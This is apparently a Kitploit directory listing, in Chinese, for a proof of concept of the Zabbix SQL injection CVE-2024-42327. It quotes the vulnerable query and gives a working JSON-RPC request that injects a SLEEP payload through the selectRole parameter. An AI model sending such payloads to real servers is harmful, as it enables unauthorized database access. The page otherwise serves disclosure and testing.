Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-42327 — CVE-2024-42327 / ZBX-25623 的 PoC | Kitploit
工具/GitHubGitHub/compr00t/cve-2024-42327
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubcompr00t/cve-2024-42327

CVE-2024-42327

CVE-2024-42327 / ZBX-25623 的 PoC

查看仓库
1851年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-42327 / ZBX-25623 的 PoC

在 Zabbix 前端中,拥有默认 User 角色或任何其他具有 API 访问权限角色的非管理员用户帐户都可以利用此漏洞。在 CUser 类的 addRelatedObjects 函数中存在一个 SQLi 漏洞,该函数由 CUser.get 函数调用,而 CUser.get 函数对每个具有 API 访问权限的用户都可用。

免责声明

此脚本仅用于教育目的!

概念验证

以下来自 6.0.31 版本的代码存在 SQLi 漏洞:

root@kitploit:~
$db_roles = DBselect(
	'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
	' FROM users u,role r'.
	' WHERE u.roleid=r.roleid'.
	' AND '.dbConditionInt('u.userid', $userIds)
);

以下调用会触发此漏洞:

root@kitploit:~
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
    "userids": ["1","2"]
  },
  "id": 1,
  "auth": ""
}

参考

  • https://support.zabbix.com/browse/ZBX-25623
  • https://nvd.nist.gov/vuln/detail/CVE-2024-42327
下载工具